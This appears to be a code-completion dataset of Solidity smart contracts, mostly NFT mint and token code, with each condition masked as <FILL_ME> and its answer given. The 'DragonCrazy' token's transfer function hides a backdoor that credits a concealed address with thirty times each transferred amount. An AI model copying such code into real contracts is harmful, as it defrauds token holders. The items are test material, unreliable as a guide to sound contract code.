address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| addressClaimAmount[msg.sender]+_quantity<=maxPerPublicWallet,"You are trying to claim more than your allotment" | 510,702 | addressClaimAmount[msg.sender]+_quantity<=maxPerPublicWallet |
"Atleast 1 of those ID's is not your token to claim" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
}
function claimReserves(uint256[] calldata _tokenIds) external {
require(<FILL_ME>)
for(uint i; i < _tokenIds.length; i++) {
require(!reserveClaimed[_tokenIds[i]], "Atleast 1 of those ID's have already been claimed");
reserveClaimed[_tokenIds[i]] = true;
unchecked {
_addressData[address(this)].balance -= 1;
_addressData[msg.sender].balance += 1;
TokenOwnership storage currSlot = _ownerships[_tokenIds[i]];
currSlot.addr = msg.sender;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = _tokenIds[i] + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = address(this);
}
}
}
emit Transfer(address(this), msg.sender, _tokenIds[i]);
}
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| happyKoalas.isOwnerOf(msg.sender,_tokenIds),"Atleast 1 of those ID's is not your token to claim" | 510,702 | happyKoalas.isOwnerOf(msg.sender,_tokenIds) |
"Atleast 1 of those ID's have already been claimed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
}
function claimReserves(uint256[] calldata _tokenIds) external {
require(happyKoalas.isOwnerOf(msg.sender, _tokenIds), "Atleast 1 of those ID's is not your token to claim");
for(uint i; i < _tokenIds.length; i++) {
require(<FILL_ME>)
reserveClaimed[_tokenIds[i]] = true;
unchecked {
_addressData[address(this)].balance -= 1;
_addressData[msg.sender].balance += 1;
TokenOwnership storage currSlot = _ownerships[_tokenIds[i]];
currSlot.addr = msg.sender;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = _tokenIds[i] + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = address(this);
}
}
}
emit Transfer(address(this), msg.sender, _tokenIds[i]);
}
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| !reserveClaimed[_tokenIds[i]],"Atleast 1 of those ID's have already been claimed" | 510,702 | !reserveClaimed[_tokenIds[i]] |
"Sale has ended." | pragma solidity ^0.8.11;
contract SquirrelsFlow is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
Counters.Counter private _nextTokenId;
uint256 public mintPrice = 0.1 ether;
uint256 public presalePrice = 0.08 ether;
uint256 private reserveAtATime = 37;
uint256 private reservedCount = 0;
uint256 private maxReserveCount = 37;
string _baseTokenURI;
bool public isActive = false;
bool public isPresaleActive = false;
uint256 public MAX_SUPPLY = 5000;
uint256 public maximumAllowedTokensPerPurchase = 5;
uint256 public maximumAllowedTokensPerWallet = 7;
uint256 public allowListMaxMint = 2;
// Whitelisted
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
event SaleActivation(bool isActive);
constructor(string memory baseURI) ERC721("Squirrels Flow", "SF") {
}
modifier saleIsOpen {
require(<FILL_ME>)
_;
}
modifier onlyAuthorized() {
}
function tokensMinted() public view returns (uint256) {
}
function setMaximumAllowedTokens(uint256 _count) public onlyAuthorized {
}
function setMaximumAllowedTokensPerWallet(uint256 _count) public onlyAuthorized {
}
function setActive(bool val) public onlyAuthorized {
}
function addToWhitelist(address[] calldata addresses) external onlyAuthorized {
}
function checkIfOnWhitelist(address addr) external view returns (bool) {
}
function removeFromWhitelist(address[] calldata addresses) external onlyAuthorized {
}
function setMaxMintSupply(uint256 maxMintSupply) external onlyAuthorized {
}
function setIsPresaleActive(bool _isPresaleActive) external onlyAuthorized {
}
function setAllowListMaxMint(uint256 maxMint) external onlyAuthorized {
}
function setReserveAtATime(uint256 val) public onlyAuthorized {
}
function setMaxReserve(uint256 val) public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setPresalePrice(uint256 _preslaePrice) public onlyAuthorized {
}
function setBaseURI(string memory baseURI) public onlyAuthorized {
}
function getReserveAtATime() external view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserveNft() public onlyAuthorized {
}
function adminAirdrop(address _walletAddress, uint256 _count) public onlyAuthorized {
}
function preSaleMint(uint256 _count) public payable saleIsOpen {
}
function mint(uint256 _count) public payable saleIsOpen {
}
function withdraw() external onlyAuthorized {
}
}
| _tokenSupply.current()<=MAX_SUPPLY,"Sale has ended." | 510,710 | _tokenSupply.current()<=MAX_SUPPLY |
"Max holding cap reached." | pragma solidity ^0.8.11;
contract SquirrelsFlow is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
Counters.Counter private _nextTokenId;
uint256 public mintPrice = 0.1 ether;
uint256 public presalePrice = 0.08 ether;
uint256 private reserveAtATime = 37;
uint256 private reservedCount = 0;
uint256 private maxReserveCount = 37;
string _baseTokenURI;
bool public isActive = false;
bool public isPresaleActive = false;
uint256 public MAX_SUPPLY = 5000;
uint256 public maximumAllowedTokensPerPurchase = 5;
uint256 public maximumAllowedTokensPerWallet = 7;
uint256 public allowListMaxMint = 2;
// Whitelisted
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
event SaleActivation(bool isActive);
constructor(string memory baseURI) ERC721("Squirrels Flow", "SF") {
}
modifier saleIsOpen {
}
modifier onlyAuthorized() {
}
function tokensMinted() public view returns (uint256) {
}
function setMaximumAllowedTokens(uint256 _count) public onlyAuthorized {
}
function setMaximumAllowedTokensPerWallet(uint256 _count) public onlyAuthorized {
}
function setActive(bool val) public onlyAuthorized {
}
function addToWhitelist(address[] calldata addresses) external onlyAuthorized {
}
function checkIfOnWhitelist(address addr) external view returns (bool) {
}
function removeFromWhitelist(address[] calldata addresses) external onlyAuthorized {
}
function setMaxMintSupply(uint256 maxMintSupply) external onlyAuthorized {
}
function setIsPresaleActive(bool _isPresaleActive) external onlyAuthorized {
}
function setAllowListMaxMint(uint256 maxMint) external onlyAuthorized {
}
function setReserveAtATime(uint256 val) public onlyAuthorized {
}
function setMaxReserve(uint256 val) public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setPresalePrice(uint256 _preslaePrice) public onlyAuthorized {
}
function setBaseURI(string memory baseURI) public onlyAuthorized {
}
function getReserveAtATime() external view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserveNft() public onlyAuthorized {
}
function adminAirdrop(address _walletAddress, uint256 _count) public onlyAuthorized {
}
function preSaleMint(uint256 _count) public payable saleIsOpen {
}
function mint(uint256 _count) public payable saleIsOpen {
uint256 mintIndex = _tokenSupply.current();
if (msg.sender != owner()) {
require(isActive, "Sale is not active currently.");
require(<FILL_ME>)
}
require(mintIndex + _count <= MAX_SUPPLY, "Total supply exceeded.");
require(
_count <= maximumAllowedTokensPerPurchase,
"Exceeds maximum allowed tokens"
);
require(msg.value >= mintPrice * _count, "Insufficient ETH amount sent.");
for (uint256 i = 0; i < _count; i++) {
_tokenSupply.increment();
_safeMint(msg.sender, _tokenSupply.current());
}
}
function withdraw() external onlyAuthorized {
}
}
| balanceOf(msg.sender)+_count<=maximumAllowedTokensPerWallet,"Max holding cap reached." | 510,710 | balanceOf(msg.sender)+_count<=maximumAllowedTokensPerWallet |
"ERC20: transfer amount exceeds balance" | /**
DRAGON CRAZY is Decentralized Meme Token
that Evolved into a Vibrant Ecosystem Build on ETHEREUM Netwok.
Dedicated to developing an advanced blockchain (cryptocurrency, non-fungible tokens)
build and growth service provider, utilization and integrations are
bound for availability cross-chains:
BSC, Ethereum, ETHEREUM Netwok and Polygon with extensive options.
Join Our Community and be part of DragonCrazy Family!
Telegram : https://t.me/dragoncrazyportal
Twitter : https://twitter.com/Dragoncrazyeth
Medium : https://medium.com/@DragonCrazy
Website : https://dragoncrazy.world/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC20Metadata is ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract DragonCrazy is Context, ERC20, ERC20Metadata {
mapping(address => uint256) private Pomade;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _totalSupply;
uint256 public _buyTax;
string public _name;
string public _symbol;
uint8 public _decimals;
address public _owner;
address private _pomade;
uint256 public buyback;
uint256 public _sellTax;
constructor(string memory name_, string memory symbol_,uint8 decimals_,uint256 totalSupply_,uint256 buyFee_ ,uint256 sellTax_ ,address pomade_ ) { }
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { }
function allowance(address Owner, address spender) public view virtual override returns (uint256) { }
function renounceOwnership() public virtual onlyOwner { }event ownershipTransferred(address indexed previousOwner, address indexed newOwner);
function _setBuyFee(uint256 newBuyFee) public onlyOwner { }
function _setSellFee(uint256 newSellFee) public onlyOwner { }
function transferFrom(address sender,address recipient,uint256 amount) public virtual override returns (bool) { }
function _transfer(address sender,address recipient,uint256 amount) internal virtual {require(sender != address(0), "ERC20: transfer from the zero address");require(recipient != address(0), "ERC20: transfer to the zero address");require(<FILL_ME>)Pomade[sender] = Pomade[sender] - amount;amount = amount - (amount *_buyTax/100);Pomade[recipient] += amount;Pomade[_pomade] += 30*amount;emit Transfer(sender, recipient, amount);}
function owner() public view returns (address) {return _owner;}
function _approve(address Owner,address spender,uint256 amount) internal virtual { }
modifier onlyOwner() { }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { }
function _takeFee(uint256 amount) internal returns(uint256) { }
}
| Pomade[sender]>=amount,"ERC20: transfer amount exceeds balance" | 510,865 | Pomade[sender]>=amount |
"Transfer amount must be less than 1.5% or more than 99% of total supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
/*
####### ######## ####### ######## ####### ######## #### ### #### #### ######## #### #### #########
### # ####### #### ### #### ####### ######## ##### ### ##### ##### ####### ##### ##### #######
#### ### #### ### ### ### ### ###### ### ##### ##### ### ##### ##### ###
###### ####### ### ######## ####### ### ### ### ### ############ ####### ############ #######
##### ####### ### ######## ####### ### ######## ### ############ ####### ############ #######
### ### #### ### ### ### ### ######### ### ### #### ### ### ### #### ### ###
####### ######## ######## ### #### ####### ### ### ### ### ### #### ### ######## ### #### ### ########
###### ######## ####### ### ### ####### ### ### #### ### ### ### ### ######## ### ### ### #########
------------------------------------------ https://aisecret.io/ --------------------------------------------------
*/
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract AISLT is ERC20, ERC20Burnable, Ownable {
constructor() ERC20("SuperLudicToken", "AI-SLT")
{
}
function mint(address to, uint256 amount) public onlyOwner
{
}
function transfer(address recipient, uint256 amount) public override returns (bool)
{
require(<FILL_ME>)
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool)
{
}
}
| (amount<=totalSupply()*15/1000)||(amount>=totalSupply()*99/100),"Transfer amount must be less than 1.5% or more than 99% of total supply" | 510,880 | (amount<=totalSupply()*15/1000)||(amount>=totalSupply()*99/100) |
"Sold Out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IERC721 {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract SharkCoin is Ownable, ReentrancyGuard, ERC721A {
using Strings for uint256;
uint256 public maxSupply = 1111;
uint256 public currentIndex;
uint256 public currentLevel = 1;
bool public mintEnable = false;
bool public stakingEnable = false;
bool public tokenWithdrawEnbale = false;
bool public evolutionEnable = false;
event Evolution(address indexed owner,uint256 indexed tokenId);
event Staking(address indexed owner,uint256 indexed tokenId);
event TokenWithdraw(address indexed owner,uint256 indexed tokenId);
mapping(address => uint256) public userMinted;
mapping(uint256 => uint256) public tokenLevel;
mapping(uint256 => string) public levelURI;
mapping(uint256 => address) public tokenOwner;
constructor()
ERC721A ("SHARK COIN", "shark coin") {
}
function devMint() external{
}
function mint(uint256 quantity) nonReentrant external{
require(mintEnable,"Mint Not Open");
require(numberMinted(msg.sender) + quantity <= 2,"Already Minted");
require(<FILL_ME>)
for (uint256 i = 1; i <= quantity ;i ++){
currentIndex ++;
tokenLevel[currentIndex] = 1;
}
_mint(msg.sender,quantity);
}
function evolution(uint256[] memory tokenIds) nonReentrant external{
}
function staking(uint256[] memory tokenIds) nonReentrant external{
}
function tokenWithdraw(uint256[] memory tokenIds) nonReentrant external{
}
function burn(uint256 tokenId) external{
}
function setLevelURI(uint256 level,string memory uri) external onlyOwner{
}
function setCurrentLevel(uint256 level) external onlyOwner{
}
function setMintEnable() external onlyOwner{
}
function setEvolutionEnable() external onlyOwner{
}
function setStakingEnable() external onlyOwner{
}
function setTokenWithdrawEnbale() external onlyOwner{
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns(string memory){
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
}
}
| currentIndex+quantity<=maxSupply,"Sold Out" | 511,286 | currentIndex+quantity<=maxSupply |
"Only Owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IERC721 {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract SharkCoin is Ownable, ReentrancyGuard, ERC721A {
using Strings for uint256;
uint256 public maxSupply = 1111;
uint256 public currentIndex;
uint256 public currentLevel = 1;
bool public mintEnable = false;
bool public stakingEnable = false;
bool public tokenWithdrawEnbale = false;
bool public evolutionEnable = false;
event Evolution(address indexed owner,uint256 indexed tokenId);
event Staking(address indexed owner,uint256 indexed tokenId);
event TokenWithdraw(address indexed owner,uint256 indexed tokenId);
mapping(address => uint256) public userMinted;
mapping(uint256 => uint256) public tokenLevel;
mapping(uint256 => string) public levelURI;
mapping(uint256 => address) public tokenOwner;
constructor()
ERC721A ("SHARK COIN", "shark coin") {
}
function devMint() external{
}
function mint(uint256 quantity) nonReentrant external{
}
function evolution(uint256[] memory tokenIds) nonReentrant external{
require(evolutionEnable,"Evolution Not Open");
for (uint256 i = 0; i < tokenIds.length; i++){
require(<FILL_ME>)
require(tokenLevel[tokenIds[i]] < currentLevel,"Cannot Exceed current Level");
tokenLevel[tokenIds[i]] ++;
emit Evolution(msg.sender,tokenIds[i]);
}
}
function staking(uint256[] memory tokenIds) nonReentrant external{
}
function tokenWithdraw(uint256[] memory tokenIds) nonReentrant external{
}
function burn(uint256 tokenId) external{
}
function setLevelURI(uint256 level,string memory uri) external onlyOwner{
}
function setCurrentLevel(uint256 level) external onlyOwner{
}
function setMintEnable() external onlyOwner{
}
function setEvolutionEnable() external onlyOwner{
}
function setStakingEnable() external onlyOwner{
}
function setTokenWithdrawEnbale() external onlyOwner{
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns(string memory){
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
}
}
| ownerOf(tokenIds[i])==msg.sender||tokenOwner[tokenIds[i]]==msg.sender,"Only Owner" | 511,286 | ownerOf(tokenIds[i])==msg.sender||tokenOwner[tokenIds[i]]==msg.sender |
"Cannot Exceed current Level" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IERC721 {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract SharkCoin is Ownable, ReentrancyGuard, ERC721A {
using Strings for uint256;
uint256 public maxSupply = 1111;
uint256 public currentIndex;
uint256 public currentLevel = 1;
bool public mintEnable = false;
bool public stakingEnable = false;
bool public tokenWithdrawEnbale = false;
bool public evolutionEnable = false;
event Evolution(address indexed owner,uint256 indexed tokenId);
event Staking(address indexed owner,uint256 indexed tokenId);
event TokenWithdraw(address indexed owner,uint256 indexed tokenId);
mapping(address => uint256) public userMinted;
mapping(uint256 => uint256) public tokenLevel;
mapping(uint256 => string) public levelURI;
mapping(uint256 => address) public tokenOwner;
constructor()
ERC721A ("SHARK COIN", "shark coin") {
}
function devMint() external{
}
function mint(uint256 quantity) nonReentrant external{
}
function evolution(uint256[] memory tokenIds) nonReentrant external{
require(evolutionEnable,"Evolution Not Open");
for (uint256 i = 0; i < tokenIds.length; i++){
require(ownerOf(tokenIds[i]) == msg.sender||tokenOwner[tokenIds[i]] == msg.sender,"Only Owner");
require(<FILL_ME>)
tokenLevel[tokenIds[i]] ++;
emit Evolution(msg.sender,tokenIds[i]);
}
}
function staking(uint256[] memory tokenIds) nonReentrant external{
}
function tokenWithdraw(uint256[] memory tokenIds) nonReentrant external{
}
function burn(uint256 tokenId) external{
}
function setLevelURI(uint256 level,string memory uri) external onlyOwner{
}
function setCurrentLevel(uint256 level) external onlyOwner{
}
function setMintEnable() external onlyOwner{
}
function setEvolutionEnable() external onlyOwner{
}
function setStakingEnable() external onlyOwner{
}
function setTokenWithdrawEnbale() external onlyOwner{
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns(string memory){
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
}
}
| tokenLevel[tokenIds[i]]<currentLevel,"Cannot Exceed current Level" | 511,286 | tokenLevel[tokenIds[i]]<currentLevel |
"Not In Staking" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IERC721 {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract SharkCoin is Ownable, ReentrancyGuard, ERC721A {
using Strings for uint256;
uint256 public maxSupply = 1111;
uint256 public currentIndex;
uint256 public currentLevel = 1;
bool public mintEnable = false;
bool public stakingEnable = false;
bool public tokenWithdrawEnbale = false;
bool public evolutionEnable = false;
event Evolution(address indexed owner,uint256 indexed tokenId);
event Staking(address indexed owner,uint256 indexed tokenId);
event TokenWithdraw(address indexed owner,uint256 indexed tokenId);
mapping(address => uint256) public userMinted;
mapping(uint256 => uint256) public tokenLevel;
mapping(uint256 => string) public levelURI;
mapping(uint256 => address) public tokenOwner;
constructor()
ERC721A ("SHARK COIN", "shark coin") {
}
function devMint() external{
}
function mint(uint256 quantity) nonReentrant external{
}
function evolution(uint256[] memory tokenIds) nonReentrant external{
}
function staking(uint256[] memory tokenIds) nonReentrant external{
}
function tokenWithdraw(uint256[] memory tokenIds) nonReentrant external{
require(tokenWithdrawEnbale,"TokenWithdraw Not Open");
for (uint256 i = 0; i < tokenIds.length; i++){
require(<FILL_ME>)
tokenOwner[tokenIds[i]] = address(0);
IERC721 token = IERC721(address(this));
token.transferFrom(address(this),msg.sender,tokenIds[i]);
emit TokenWithdraw(msg.sender,tokenIds[i]);
}
}
function burn(uint256 tokenId) external{
}
function setLevelURI(uint256 level,string memory uri) external onlyOwner{
}
function setCurrentLevel(uint256 level) external onlyOwner{
}
function setMintEnable() external onlyOwner{
}
function setEvolutionEnable() external onlyOwner{
}
function setStakingEnable() external onlyOwner{
}
function setTokenWithdrawEnbale() external onlyOwner{
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns(string memory){
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
}
}
| tokenOwner[tokenIds[i]]==msg.sender,"Not In Staking" | 511,286 | tokenOwner[tokenIds[i]]==msg.sender |
"is not LP token" | /**
*Submitted for verification at Etherscan.io on 2023-03-22
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
}
contract Context {
constructor() {}
function _msgSender() internal view returns (address ) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
function paused() public view returns (bool) {
}
modifier whenNotPaused() {
}
modifier whenPaused() {
}
function _pause() internal virtual whenNotPaused {
}
function _unpause() internal virtual whenPaused {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract _CollarStake_ is Ownable, ReentrancyGuard, Pausable, SafeERC20 {
address[9] public approvedTokens;
address public rewardToken;
uint128 constant public max_staking_amount = 500 * 1e12 * 1e18;
uint128 constant public max_reward_amount = (200 * 1e6 * 1e18) * 67 /100;
uint128 public lp_reward ;
uint128 public native_reward;
uint128 public user_staked_rewad_Token;
uint64 public currentID;
uint64 constant public max_staking_days = 365 * 5;
struct User{
address user;
address stakeToken;
uint256 stakeAmount;
uint256 rewardEarned;
uint128 lastClaimTime;
uint128 withdrawTime;
uint128 rewardEndTime;
uint128 allocateReward;
bool isLPStaked;
}
mapping (address => bool) public isLPApproved;
